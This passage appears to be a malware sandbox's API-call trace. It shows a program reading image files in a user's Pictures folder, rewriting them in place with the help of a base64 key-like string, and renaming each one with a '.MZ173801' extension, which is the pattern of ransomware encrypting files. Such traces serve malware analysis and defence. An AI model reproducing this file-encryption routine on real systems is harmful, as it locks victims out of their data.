lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe193810, ftCreationTime.dwHighDateTime=0x1d5e763, ftLastAccessTime.dwLowDateTime=0x3baa4920, ftLastAccessTime.dwHighDateTime=0x1d5dc8e, ftLastWriteTime.dwLowDateTime=0x3baa4920, ftLastWriteTime.dwHighDateTime=0x1d5dc8e, nFileSizeHigh=0x0, nFileSizeLow=0x1538d)) returned 1 [0123.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\e_nSEbfXaEVeTS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\e_nsebfxaevets.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.042] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.042] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.042] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x1538d [0123.043] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.043] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x1538d, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x1538d, lpOverlapped=0x0) returned 1 [0123.044] CloseHandle (hObject=0x28c) returned 1 [0123.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\e_nSEbfXaEVeTS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\e_nsebfxaevets.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.048] WriteFile (in: hFile=0x28c, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x1538d, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f404*=0x1538d, lpOverlapped=0x0) returned 1 [0123.050] CloseHandle (hObject=0x28c) returned 1 [0123.053] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\e_nSEbfXaEVeTS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\e_nsebfxaevets.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\e_nSEbfXaEVeTS.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\e_nsebfxaevets.gif.mz173801")) returned 1 [0123.054] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.054] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\geEDaQ9y6x6tyBlo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\geedaq9y6x6tyblo.png"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa66e7fa0, ftCreationTime.dwHighDateTime=0x1d5ddbb, ftLastAccessTime.dwLowDateTime=0xcccc8a20, ftLastAccessTime.dwHighDateTime=0x1d5e0ef, ftLastWriteTime.dwLowDateTime=0xcccc8a20, ftLastWriteTime.dwHighDateTime=0x1d5e0ef, nFileSizeHigh=0x0, nFileSizeLow=0x3bee)) returned 1 [0123.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\geEDaQ9y6x6tyBlo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\geedaq9y6x6tyblo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.057] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.058] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.058] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x3bee [0123.058] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.058] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x3bee, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x3bee, lpOverlapped=0x0) returned 1 [0123.059] CloseHandle (hObject=0x28c) returned 1 [0123.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\geEDaQ9y6x6tyBlo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\geedaq9y6x6tyblo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.060] WriteFile (in: hFile=0x28c, lpBuffer=0x718540*, nNumberOfBytesToWrite=0x3bee, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x718540*, lpNumberOfBytesWritten=0x18f404*=0x3bee, lpOverlapped=0x0) returned 1 [0123.062] CloseHandle (hObject=0x28c) returned 1 [0123.063] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\geEDaQ9y6x6tyBlo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\geedaq9y6x6tyblo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\geEDaQ9y6x6tyBlo.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\geedaq9y6x6tyblo.png.mz173801")) returned 1 [0123.064] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.064] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\r4EiWwT6VDJ2aw279a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\r4eiwwt6vdj2aw279a.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38168340, ftCreationTime.dwHighDateTime=0x1d5d8d9, ftLastAccessTime.dwLowDateTime=0x876133c0, ftLastAccessTime.dwHighDateTime=0x1d5e462, ftLastWriteTime.dwLowDateTime=0x876133c0, ftLastWriteTime.dwHighDateTime=0x1d5e462, nFileSizeHigh=0x0, nFileSizeLow=0x73da)) returned 1 [0123.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 